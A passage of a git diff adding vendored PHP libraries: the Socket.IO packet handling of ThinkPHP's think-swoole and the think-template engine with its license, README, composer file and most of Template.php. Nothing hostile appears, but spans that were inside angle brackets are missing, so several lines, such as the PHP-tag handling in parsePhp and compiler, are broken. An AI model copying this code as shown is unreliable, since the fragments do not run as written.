$this->checkHeartbeat($frame->fd, $packet); + + return true; + } + + /** + * "onClose" listener. + * + * @param int $fd + * @param int $reactorId + */ + public function onClose($fd, $reactorId) + { + return; + } + + protected function checkHeartbeat($fd, $packet) + { + $packetLength = strlen($packet); + $payload = ''; + + if ($isPing = Packet::isSocketType($packet, 'ping')) { + $payload .= Packet::PONG; + } + + if ($isPing && $packetLength > 1) { + $payload .= substr($packet, 1, $packetLength - 1); + } + + if ($isPing) { + $this->server->push($fd, $payload); + } + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Packet.php b/vendor/topthink/think-swoole/src/websocket/socketio/Packet.php new file mode 100644 index 0000000..b3812bb --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/socketio/Packet.php @@ -0,0 +1,171 @@ + 'OPEN', + 1 => 'CLOSE', + 2 => 'PING', + 3 => 'PONG', + 4 => 'MESSAGE', + 5 => 'UPGRADE', + 6 => 'NOOP', + ]; + + /** + * Engine.io packet types. + */ + public static $engineTypes = [ + 0 => 'CONNECT', + 1 => 'DISCONNECT', + 2 => 'EVENT', + 3 => 'ACK', + 4 => 'ERROR', + 5 => 'BINARY_EVENT', + 6 => 'BINARY_ACK', + ]; + + /** + * Get socket packet type of a raw payload. + * + * @param string $packet + * + * @return int|null + */ + public static function getSocketType(string $packet) + { + $type = $packet[0] ?? null; + + if (!array_key_exists($type, static::$socketTypes)) { + return; + } + + return (int) $type; + } + + /** + * Get data packet from a raw payload. + * + * @param string $packet + * + * @return array|null + */ + public static function getPayload(string $packet) + { + $packet = trim($packet); + $start = strpos($packet, '['); + + if ($start === false || substr($packet, -1) !== ']') { + return; + } + + $data = substr($packet, $start, strlen($packet) - $start); + $data = json_decode($data, true); + + if (is_null($data)) { + return; + } + + return [ + 'event' => $data[0], + 'data' => $data[1] ?? null, + ]; + } + + /** + * Return if a socket packet belongs to specific type. + * + * @param $packet + * @param string $typeName + * + * @return bool + */ + public static function isSocketType($packet, string $typeName) + { + $type = array_search(strtoupper($typeName), static::$socketTypes); + + if ($type === false) { + return false; + } + + return static::getSocketType($packet) === $type; + } +} diff --git a/vendor/topthink/think-swoole/src/websocket/socketio/Parser.php b/vendor/topthink/think-swoole/src/websocket/socketio/Parser.php new file mode 100644 index 0000000..7e2d936 --- /dev/null +++ b/vendor/topthink/think-swoole/src/websocket/socketio/Parser.php @@ -0,0 +1,45 @@ +data); + + return [ + 'event' => $payload['event'] ?? null, + 'data' => $payload['data'] ?? null, + ]; + } +} diff --git a/vendor/topthink/think-template/.gitignore b/vendor/topthink/think-template/.gitignore new file mode 100644 index 0000000..485dee6 --- /dev/null +++ b/vendor/topthink/think-template/.gitignore @@ -0,0 +1 @@ +.idea diff --git a/vendor/topthink/think-template/LICENSE b/vendor/topthink/think-template/LICENSE new file mode 100644 index 0000000..8dada3e --- /dev/null +++ b/vendor/topthink/think-template/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright {yyyy} {name of copyright owner} + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/topthink/think-template/README.md b/vendor/topthink/think-template/README.md new file mode 100644 index 0000000..1d19064 --- /dev/null +++ b/vendor/topthink/think-template/README.md @@ -0,0 +1,70 @@ +# ThinkTemplate + +基于XML和标签库的编译型模板引擎 + +## 主要特性 + +- 支持XML标签库和普通标签的混合定义; +- 支持直接使用PHP代码书写; +- 支持文件包含; +- 支持多级标签嵌套; +- 支持布局模板功能; +- 一次编译多次运行,编译和运行效率非常高; +- 模板文件和布局模板更新,自动更新模板缓存; +- 系统变量无需赋值直接输出; +- 支持多维数组的快速输出; +- 支持模板变量的默认值; +- 支持页面代码去除Html空白; +- 支持变量组合调节器和格式化功能; +- 允许定义模板禁用函数和禁用PHP语法; +- 通过标签库方式扩展; + +## 安装 + +~~~php +composer require topthink/think-template +~~~ + +## 用法示例 + + +~~~php + './template/', + 'cache_path' => './runtime/', + 'view_suffix' => 'html', +]; + +$template = new Template($config); +// 模板变量赋值 +$template->assign(['name' => 'think']); +// 读取模板文件渲染输出 +$template->fetch('index'); +// 完整模板文件渲染 +$template->fetch('./template/test.php'); +// 渲染内容输出 +$template->display($content); +~~~ + +支持静态调用 + +~~~ +use think\facade\Template; + +Template::config([ + 'view_path' => './template/', + 'cache_path' => './runtime/', + 'view_suffix' => 'html', +]); +Template::assign(['name' => 'think']); +Template::fetch('index',['name' => 'think']); +Template::display($content,['name' => 'think']); +~~~ + +详细用法参考[开发手册](https://www.kancloud.cn/manual/think-template/content) \ No newline at end of file diff --git a/vendor/topthink/think-template/composer.json b/vendor/topthink/think-template/composer.json new file mode 100644 index 0000000..f4e1205 --- /dev/null +++ b/vendor/topthink/think-template/composer.json @@ -0,0 +1,20 @@ +{ + "name": "topthink/think-template", + "description": "the php template engine", + "license": "Apache-2.0", + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "require": { + "php": ">=7.1.0", + "psr/simple-cache": "^1.0" + }, + "autoload": { + "psr-4": { + "think\\": "src" + } + } +} \ No newline at end of file diff --git a/vendor/topthink/think-template/src/Template.php b/vendor/topthink/think-template/src/Template.php new file mode 100644 index 0000000..84d35a5 --- /dev/null +++ b/vendor/topthink/think-template/src/Template.php @@ -0,0 +1,1320 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use Exception; +use Psr\SimpleCache\CacheInterface; + +/** + * ThinkPHP分离出来的模板引擎 + * 支持XML标签和普通标签的模板解析 + * 编译型模板引擎 支持动态缓存 + */ +class Template +{ + /** + * 模板变量 + * @var array + */ + protected $data = []; + + /** + * 模板配置参数 + * @var array + */ + protected $config = [ + 'view_path' => '', // 模板路径 + 'view_suffix' => 'html', // 默认模板文件后缀 + 'view_depr' => DIRECTORY_SEPARATOR, + 'cache_path' => '', + 'cache_suffix' => 'php', // 默认模板缓存后缀 + 'tpl_deny_func_list' => 'echo,exit', // 模板引擎禁用函数 + 'tpl_deny_php' => false, // 默认模板引擎是否禁用PHP原生代码 + 'tpl_begin' => '{', // 模板引擎普通标签开始标记 + 'tpl_end' => '}', // 模板引擎普通标签结束标记 + 'strip_space' => false, // 是否去除模板文件里面的html空格与换行 + 'tpl_cache' => true, // 是否开启模板编译缓存,设为false则每次都会重新编译 + 'compile_type' => 'file', // 模板编译类型 + 'cache_prefix' => '', // 模板缓存前缀标识,可以动态改变 + 'cache_time' => 0, // 模板缓存有效期 0 为永久,(以数字为值,单位:秒) + 'layout_on' => false, // 布局模板开关 + 'layout_name' => 'layout', // 布局模板入口文件 + 'layout_item' => '{__CONTENT__}', // 布局模板的内容替换标识 + 'taglib_begin' => '{', // 标签库标签开始标记 + 'taglib_end' => '}', // 标签库标签结束标记 + 'taglib_load' => true, // 是否使用内置标签库之外的其它标签库,默认自动检测 + 'taglib_build_in' => 'cx', // 内置标签库名称(标签使用不必指定标签库名称),以逗号分隔 注意解析顺序 + 'taglib_pre_load' => '', // 需要额外加载的标签库(须指定标签库名称),多个以逗号分隔 + 'display_cache' => false, // 模板渲染缓存 + 'cache_id' => '', // 模板缓存ID + 'tpl_replace_string' => [], + 'tpl_var_identify' => 'array', // .语法变量识别,array|object|'', 为空时自动识别 + 'default_filter' => 'htmlentities', // 默认过滤方法 用于普通标签输出 + ]; + + /** + * 保留内容信息 + * @var array + */ + private $literal = []; + + /** + * 扩展解析规则 + * @var array + */ + private $extend = []; + + /** + * 模板包含信息 + * @var array + */ + private $includeFile = []; + + /** + * 模板存储对象 + * @var object + */ + protected $storage; + + /** + * 查询缓存对象 + * @var CacheInterface + */ + protected $cache; + + /** + * 架构函数 + * @access public + * @param array $config + */ + public function __construct(array $config = []) + { + $this->config = array_merge($this->config, $config); + + $this->config['taglib_begin_origin'] = $this->config['taglib_begin']; + $this->config['taglib_end_origin'] = $this->config['taglib_end']; + + $this->config['taglib_begin'] = preg_quote($this->config['taglib_begin'], '/'); + $this->config['taglib_end'] = preg_quote($this->config['taglib_end'], '/'); + $this->config['tpl_begin'] = preg_quote($this->config['tpl_begin'], '/'); + $this->config['tpl_end'] = preg_quote($this->config['tpl_end'], '/'); + + // 初始化模板编译存储器 + $type = $this->config['compile_type'] ? $this->config['compile_type'] : 'File'; + $class = false !== strpos($type, '\\') ? $type : '\\think\\template\\driver\\' . ucwords($type); + + $this->storage = new $class(); + } + + /** + * 模板变量赋值 + * @access public + * @param array $vars 模板变量 + * @return $this + */ + public function assign(array $vars = []) + { + $this->data = array_merge($this->data, $vars); + return $this; + } + + /** + * 模板引擎参数赋值 + * @access public + * @param string $name + * @param mixed $value + */ + public function __set($name, $value) + { + $this->config[$name] = $value; + } + + /** + * 设置缓存对象 + * @access public + * @param CacheInterface $cache 缓存对象 + * @return void + */ + public function setCache(CacheInterface $cache): void + { + $this->cache = $cache; + } + + /** + * 模板引擎配置 + * @access public + * @param array $config + * @return $this + */ + public function config(array $config) + { + $this->config = array_merge($this->config, $config); + return $this; + } + + /** + * 获取模板引擎配置项 + * @access public + * @param string $name + * @return mixed + */ + public function getConfig(string $name) + { + return $this->config[$name] ?? null; + } + + /** + * 模板变量获取 + * @access public + * @param string $name 变量名 + * @return mixed + */ + public function get(string $name = '') + { + if ('' == $name) { + return $this->data; + } + + $data = $this->data; + + foreach (explode('.', $name) as $key => $val) { + if (isset($data[$val])) { + $data = $data[$val]; + } else { + $data = null; + break; + } + } + + return $data; + } + + /** + * 扩展模板解析规则 + * @access public + * @param string $rule 解析规则 + * @param callable $callback 解析规则 + * @return void + */ + public function extend(string $rule, callable $callback = null): void + { + $this->extend[$rule] = $callback; + } + + /** + * 渲染模板文件 + * @access public + * @param string $template 模板文件 + * @param array $vars 模板变量 + * @return void + */ + public function fetch(string $template, array $vars = []): void + { + if ($vars) { + $this->data = array_merge($this->data, $vars); + } + + if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) { + // 读取渲染缓存 + if ($this->cache->has($this->config['cache_id'])) { + echo $this->cache->get($this->config['cache_id']); + return; + } + } + + $template = $this->parseTemplateFile($template); + + if ($template) { + $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.'); + + if (!$this->checkCache($cacheFile)) { + // 缓存无效 重新模板编译 + $content = file_get_contents($template); + $this->compiler($content, $cacheFile); + } + + // 页面缓存 + ob_start(); + ob_implicit_flush(0); + + // 读取编译存储 + $this->storage->read($cacheFile, $this->data); + + // 获取并清空缓存 + $content = ob_get_clean(); + + if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) { + // 缓存页面输出 + $this->cache->set($this->config['cache_id'], $content, $this->config['cache_time']); + } + + echo $content; + } + } + + /** + * 检查编译缓存是否存在 + * @access public + * @param string $cacheId 缓存的id + * @return boolean + */ + public function isCache(string $cacheId): bool + { + if ($cacheId && $this->cache && $this->config['display_cache']) { + // 缓存页面输出 + return $this->cache->has($cacheId); + } + + return false; + } + + /** + * 渲染模板内容 + * @access public + * @param string $content 模板内容 + * @param array $vars 模板变量 + * @return void + */ + public function display(string $content, array $vars = []): void + { + if ($vars) { + $this->data = array_merge($this->data, $vars); + } + + $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($content) . '.' . ltrim($this->config['cache_suffix'], '.'); + + if (!$this->checkCache($cacheFile)) { + // 缓存无效 模板编译 + $this->compiler($content, $cacheFile); + } + + // 读取编译存储 + $this->storage->read($cacheFile, $this->data); + } + + /** + * 设置布局 + * @access public + * @param mixed $name 布局模板名称 false 则关闭布局 + * @param string $replace 布局模板内容替换标识 + * @return $this + */ + public function layout($name, string $replace = '') + { + if (false === $name) { + // 关闭布局 + $this->config['layout_on'] = false; + } else { + // 开启布局 + $this->config['layout_on'] = true; + + // 名称必须为字符串 + if (is_string($name)) { + $this->config['layout_name'] = $name; + } + + if (!empty($replace)) { + $this->config['layout_item'] = $replace; + } + } + + return $this; + } + + /** + * 检查编译缓存是否有效 + * 如果无效则需要重新编译 + * @access private + * @param string $cacheFile 缓存文件名 + * @return bool + */ + private function checkCache(string $cacheFile): bool + { + if (!$this->config['tpl_cache'] || !is_file($cacheFile) || !$handle = @fopen($cacheFile, "r")) { + return false; + } + + // 读取第一行 + preg_match('/\/\*(.+?)\*\//', fgets($handle), $matches); + + if (!isset($matches[1])) { + return false; + } + + $includeFile = unserialize($matches[1]); + + if (!is_array($includeFile)) { + return false; + } + + // 检查模板文件是否有更新 + foreach ($includeFile as $path => $time) { + if (is_file($path) && filemtime($path) > $time) { + // 模板文件如果有更新则缓存需要更新 + return false; + } + } + + // 检查编译存储是否有效 + return $this->storage->check($cacheFile, $this->config['cache_time']); + } + + /** + * 编译模板文件内容 + * @access private + * @param string $content 模板内容 + * @param string $cacheFile 缓存文件名 + * @return void + */ + private function compiler(string &$content, string $cacheFile): void + { + // 判断是否启用布局 + if ($this->config['layout_on']) { + if (false !== strpos($content, '{__NOLAYOUT__}')) { + // 可以单独定义不使用布局 + $content = str_replace('{__NOLAYOUT__}', '', $content); + } else { + // 读取布局模板 + $layoutFile = $this->parseTemplateFile($this->config['layout_name']); + + if ($layoutFile) { + // 替换布局的主体内容 + $content = str_replace($this->config['layout_item'], $content, file_get_contents($layoutFile)); + } + } + } else { + $content = str_replace('{__NOLAYOUT__}', '', $content); + } + + // 模板解析 + $this->parse($content); + + if ($this->config['strip_space']) { + /* 去除html空格与换行 */ + $find = ['~>\s+<~', '~>(\s+\n|\r)~']; + $replace = ['><', '>']; + $content = preg_replace($find, $replace, $content); + } + + // 优化生成的php代码 + $content = preg_replace('/\?>\s*<\?php\s(?!echo\b|\bend)/s', '', $content); + + // 模板过滤输出 + $replace = $this->config['tpl_replace_string']; + $content = str_replace(array_keys($replace), array_values($replace), $content); + + // 添加安全代码及模板引用记录 + $content = 'includeFile) . '*/ ?>' . "\n" . $content; + // 编译存储 + $this->storage->write($cacheFile, $content); + + $this->includeFile = []; + } + + /** + * 模板解析入口 + * 支持普通标签和TagLib解析 支持自定义标签库 + * @access public + * @param string $content 要解析的模板内容 + * @return void + */ + public function parse(string &$content): void + { + // 内容为空不解析 + if (empty($content)) { + return; + } + + // 替换literal标签内容 + $this->parseLiteral($content); + + // 解析继承 + $this->parseExtend($content); + + // 解析布局 + $this->parseLayout($content); + + // 检查include语法 + $this->parseInclude($content); + + // 替换包含文件中literal标签内容 + $this->parseLiteral($content); + + // 检查PHP语法 + $this->parsePhp($content); + + // 获取需要引入的标签库列表 + // 标签库只需要定义一次,允许引入多个一次 + // 一般放在文件的最前面 + // 格式: + // 当TAGLIB_LOAD配置为true时才会进行检测 + if ($this->config['taglib_load']) { + $tagLibs = $this->getIncludeTagLib($content); + + if (!empty($tagLibs)) { + // 对导入的TagLib进行解析 + foreach ($tagLibs as $tagLibName) { + $this->parseTagLib($tagLibName, $content); + } + } + } + + // 预先加载的标签库 无需在每个模板中使用taglib标签加载 但必须使用标签库XML前缀 + if ($this->config['taglib_pre_load']) { + $tagLibs = explode(',', $this->config['taglib_pre_load']); + + foreach ($tagLibs as $tag) { + $this->parseTagLib($tag, $content); + } + } + + // 内置标签库 无需使用taglib标签导入就可以使用 并且不需使用标签库XML前缀 + $tagLibs = explode(',', $this->config['taglib_build_in']); + + foreach ($tagLibs as $tag) { + $this->parseTagLib($tag, $content, true); + } + + // 解析普通模板标签 {$tagName} + $this->parseTag($content); + + // 还原被替换的Literal标签 + $this->parseLiteral($content, true); + } + + /** + * 检查PHP语法 + * @access private + * @param string $content 要解析的模板内容 + * @return void + * @throws Exception + */ + private function parsePhp(string &$content): void + { + // 短标签的情况要将' . "\n", $content); + + // PHP语法检查 + if ($this->config['tpl_deny_php'] && false !== strpos($content, 'getRegex('layout'), $content, $matches)) { + // 替换Layout标签 + $content = str_replace($matches[0], '', $content); + // 解析Layout标签 + $array = $this->parseAttr($matches[0]); + + if (!$this->config['layout_on'] || $this->config['layout_name'] != $array['name']) { + // 读取布局模板 + $layoutFile = $this->parseTemplateFile($array['name']); + + if ($layoutFile) { + $replace = isset($array['replace']) ? $array['replace'] : $this->config['layout_item']; + // 替换布局的主体内容 + $content = str_replace($replace, $content, file_get_contents($layoutFile)); + } + } + } else { + $content = str_replace('{__NOLAYOUT__}', '', $content); + } + } + + /** + * 解析模板中的include标签 + * @access private + * @param string $content 要解析的模板内容 + * @return void + */ + private function parseInclude(string &$content): void + { + $regex = $this->getRegex('include'); + $func = function ($template) use (&$func, &$regex, &$content) { + if (preg_match_all($regex, $template, $matches, PREG_SET_ORDER)) { + foreach ($matches as $match) { + $array = $this->parseAttr($match[0]); + $file = $array['file']; + unset($array['file']); + + // 分析模板文件名并读取内容 + $parseStr = $this->parseTemplateName($file); + + foreach ($array as $k => $v) { + // 以$开头字符串转换成模板变量 + if (0 === strpos($v, '$')) { + $v = $this->get(substr($v, 1)); + } + + $parseStr = str_replace('[' . $k . ']', $v, $parseStr); + } + + $content = str_replace($match[0], $parseStr, $content); + // 再次对包含文件进行模板分析 + $func($parseStr); + } + unset($matches); + } + }; + + // 替换模板中的include标签 + $func($content); + } + + /** + * 解析模板中的extend标签 + * @access private + * @param string $content 要解析的模板内容 + * @return void + */ + private function parseExtend(string &$content): void + { + $regex = $this->getRegex('extend'); + $array = $blocks = $baseBlocks = []; + $extend = ''; + + $func = function ($template) use (&$func, &$regex, &$array, &$extend, &$blocks, &$baseBlocks) { + if (preg_match($regex, $template, $matches)) { + if (!isset($array[$matches['name']])) { + $array[$matches['name']] = 1; + // 读取继承模板 + $extend = $this->parseTemplateName($matches['name']); + + // 递归检查继承 + $func($extend); + + // 取得block标签内容 + $blocks = array_merge($blocks, $this->parseBlock($template)); + + return; + } + } else { + // 取得顶层模板block标签内容 + $baseBlocks = $this->parseBlock($template, true); + + if (empty($extend)) { + // 无extend标签但有block标签的情况 + $extend = $template; + } + } + }; + + $func($content); + + if (!empty($extend)) { + if ($baseBlocks) { + $children = []; + foreach ($baseBlocks as $name => $val) { + $replace = $val['content']; + + if (!empty($children[$name])) { + // 如果包含有子block标签 + foreach ($children[$name] as $key) { + $replace = str_replace($baseBlocks[$key]['begin'] . $baseBlocks[$key]['content'] . $baseBlocks[$key]['end'], $blocks[$key]['content'], $replace); + } + } + + if (isset($blocks[$name])) { + // 带有{__block__}表示与所继承模板的相应标签合并,而不是覆盖 + $replace = str_replace(['{__BLOCK__}', '{__block__}'], $replace, $blocks[$name]['content']); + + if (!empty($val['parent'])) { + // 如果不是最顶层的block标签 + $parent = $val['parent']; + + if (isset($blocks[$parent])) { + $blocks[$parent]['content'] = str_replace($blocks[$name]['begin'] . $blocks[$name]['content'] . $blocks[$name]['end'], $replace, $blocks[$parent]['content']); + } + + $blocks[$name]['content'] = $replace; + $children[$parent][] = $name; + + continue; + } + } elseif (!empty($val['parent'])) { + // 如果子标签没有被继承则用原值 + $children[$val['parent']][] = $name; + $blocks[$name] = $val; + } + + if (!$val['parent']) { + // 替换模板中的顶级block标签 + $extend = str_replace($val['begin'] . $val['content'] . $val['end'], $replace, $extend); + } + } + } + + $content = $extend; + unset($blocks, $baseBlocks); + } + } + + /** + * 替换页面中的literal标签 + * @access private + * @param string $content 模板内容 + * @param boolean $restore 是否为还原 + * @return void + */ + private function parseLiteral(string &$content, bool $restore = false): void + { + $regex = $this->getRegex($restore ? 'restoreliteral' : 'literal'); + + if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) { + if (!$restore) { + $count = count($this->literal); + + // 替换literal标签 + foreach ($matches as $match) { + $this->literal[] = substr($match[0], strlen($match[1]), -strlen($match[2])); + $content = str_replace($match[0], "", $content); + $count++; + } + } else { + // 还原literal标签 + foreach ($matches as $match) { + $content = str_replace($match[0], $this->literal[$match[1]], $content); + } + + // 清空literal记录 + $this->literal = []; + } + + unset($matches); + } + } + + /** + * 获取模板中的block标签 + * @access private + * @param string $content 模板内容 + * @param boolean $sort 是否排序 + * @return array + */ + private function parseBlock(string &$content, bool $sort = false): array + { + $regex = $this->getRegex('block'); + $result = []; + + if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { + $right = $keys = []; + + foreach ($matches as $match) { + if (empty($match['name'][0])) { + if (count($right) > 0) { + $tag = array_pop($right); + $start = $tag['offset'] + strlen($tag['tag']); + $length = $match[0][1] - $start; + + $result[$tag['name']] = [ + 'begin' => $tag['tag'], + 'content' => substr($content, $start, $length), + 'end' => $match[0][0], + 'parent' => count($right) ? end($right)['name'] : '', + ]; + + $keys[$tag['name']] = $match[0][1]; + } + } else { + // 标签头压入栈 + $right[] = [ + 'name' => $match[2][0], + 'offset' => $match[0][1], + 'tag' => $match[0][0], + ]; + } + } + + unset($right, $matches); + + if ($sort) { + // 按block标签结束符在模板中的位置排序 + array_multisort($keys, $result); + } + } + + return $result; + } + + /** + * 搜索模板页面中包含的TagLib库 + * 并返回列表 + * @access private + * @param string $content 模板内容 + * @return array|null + */ + private function getIncludeTagLib(string &$content) + { + // 搜索是否有TagLib标签 + if (preg_match($this->getRegex('taglib'), $content, $matches)) { + // 替换TagLib标签 + $content = str_replace($matches[0], '', $content); + + return explode(',', $matches['name']); + } + } + + /** + * TagLib库解析 + * @access public + * @param string $tagLib 要解析的标签库 + * @param string $content 要解析的模板内容 + * @param boolean $hide 是否隐藏标签库前缀 + * @return void + */ + public function parseTagLib(string $tagLib, string &$content, bool $hide = false): void + { + if (false !== strpos($tagLib, '\\')) { + // 支持指定标签库的命名空间 + $className = $tagLib; + $tagLib = substr($tagLib, strrpos($tagLib, '\\') + 1); + } else { + $className = '\\think\\template\\taglib\\' . ucwords($tagLib); + } + + $tLib = new $className($this); + + $tLib->parseTag($content, $hide ? '' : $tagLib); + } + + /** + * 分析标签属性 + * @access public + * @param string $str 属性字符串 + * @param string $name 不为空时返回指定的属性名 + * @return array + */ + public function parseAttr(string $str, string $name = null): array + { + $regex = '/\s+(?>(?P[\w-]+)\s*)=(?>\s*)([\"\'])(?P(?:(?!\\2).)*)\\2/is'; + $array = []; + + if (preg_match_all($regex, $str, $matches, PREG_SET_ORDER)) { + foreach ($matches as $match) { + $array[$match['name']] = $match['value']; + } + unset($matches); + } + + if (!empty($name) && isset($array[$name])) { + return $array[$name]; + } + + return $array; + } + + /** + * 模板标签解析 + * 格式: {TagName:args [|content] } + * @access private + * @param string $content 要解析的模板内容 + * @return void + */ + private function parseTag(string &$content): void + { + $regex = $this->getRegex('tag'); + + if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) { + foreach ($matches as $match) { + $str = stripslashes($match[1]); + $flag = substr($str, 0, 1); + + switch ($flag) { + case '$': + // 解析模板变量 格式 {$varName} + // 是否带有?号 + if (false !== $pos = strpos($str, '?')) { + $array = preg_split('/([!=]={1,2}|(?<]={0,1})/', substr($str, 0, $pos), 2, PREG_SPLIT_DELIM_CAPTURE); + $name = $array[0]; + + $this->parseVar($name); + //$this->parseVarFunction($name); + + $str = trim(substr($str, $pos + 1)); + $this->parseVar($str); + $first = substr($str, 0, 1); + + if (strpos($name, ')')) { + // $name为对象或是自动识别,或者含有函数 + if (isset($array[1])) { + 